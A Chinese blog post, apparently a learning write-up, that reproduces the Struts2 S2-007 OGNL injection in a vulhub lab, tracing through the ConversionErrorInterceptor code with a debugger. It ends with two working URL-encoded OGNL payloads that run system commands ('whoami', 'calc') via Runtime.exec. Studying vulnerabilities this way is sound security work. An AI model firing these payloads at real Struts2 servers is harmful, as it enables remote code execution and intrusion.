avatar

目录
玩vulhub靶机第三篇(Struts2-007)

前言

​ 原本是打算复现shiro RemeberMe的漏洞环境的,想分析下代码,结果搭了两天都是失败的,后面听说是要jdk1.6版本,我的jdk版本是1.8,实在是被折磨的废了不想降了,不搞他了。

​ 后面看了一下打算学习下s2-005的,又看了下,需要tomcat6的版本,本机环境tomcat9,也懒得降了。实在是搞怕了。


漏洞信息

Problem翻译一下:发生转换错误时,将用户输入评估为OGNL表达式。 这允许恶意用户执行任意代码。

环境搭建

源码在:Github上下载的。

编辑器:IDEA

环境配置如下图👇:

配置好tomcat就可以运行了,测试过代码是没问题的


分析代码

首先这里有一个验证表单,限制了age的长度。

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

在看UserAction的代码

首先变量agename,email就不同,是一个私有的Integer类型变量。

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class UserAction extends ActionSupport {
private Integer age = null;
private String name = null;
private String email = null;

public UserAction() {
}

public void setAge(Integer age) {
this.age = age;
}

public Integer getAge() {
return this.age;
}

public void setName(String name) {
this.name = name;
}

public String getName() {
return this.name;
}

public void setEmail(String email) {
this.email = email;
}

public String getEmail() {
return this.email;
}

public String execute() throws Exception {
return !this.name.isEmpty() && !this.email.isEmpty() ? "success" : "error";
}
}

漏洞位置

主要位于s2-007\web\WEB-INF\lib\xwork-core\2.2.3.jar\com\opensymphony\xwork2\interceptor\ConversionErrorInterceptor.class::28

关注一下语句

java
1
2
3
4
5
6
7
HashMap<Object, Object> fakie = null;//HashMap的主干是一个Entry数组,设置fakie为null

Iterator i$ = conversionErrors.entrySet().iterator();//迭代器的生成

Entry<String, Object> entry = (Entry)i$.next();//通过循环从迭代器i中获取下一条记录赋值给entry

Object value = entry.getValue();//获取entry的值

现在通过分析,可以知道只能通过age的输入框处,输入攻击payload,才能触发漏洞,因为email,namestring类型的变量,通过下面这条语句来获取输入的值

java
1
Object action = invocation.getAction();

漏洞利用

ConversionErrorInterceptor.class::29处下断运行分析代码流程。

使用网上给出的payload

Code
1
'+(#application)+'

返回到IDEA中跟流程。一路F8,跟到获取值处,可以看到这是输入进来的payload

一路往下走,由于此时fakie的值是null所以会走进第一个if判断中重新新建HashMap(),接着fakie会以下的变量都put处理。

propertyName

invocation:

value:

跟进PUT,在jdk8中源码是这样的。

java
1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

他的方法具体实现在putVal中,不过看了下源码看不太懂,通过网上一篇文章总结是这么说的:HashMap在put方法中,它使用hashCode()和equals()方法。当我们通过传递key-value对调用put方法的时候,HashMap使用Key hashCode()和哈希算法来找出存储key-value对的索引。如果索引处为空,则直接插入到对应的数组中,否则,判断是否是红黑树,若是,则红黑树插入,否则遍历链表,若长度不小于8,则将链表转为红黑树,转成功之后 再插入。

主要不清楚红黑树是啥。

转到另一个函数getOverrideExpr

到这里就清楚了,为什么payload处要加'++'就是要闭合这里。

这个时候观察fakie的值,value值就变成了''+(#application)+''

最后通过invoke方法(用来执行某个的对象的目标方法)解析OGNL。


漏洞利用

网上的POC

命令执行

java
1
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27

弹出计算器

Code
1
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29+%2B+%27

文章作者: KeyboArd
文章链接: https://www.wrpzkb.cn/vulhub3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 KeyboArd's Blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶

评论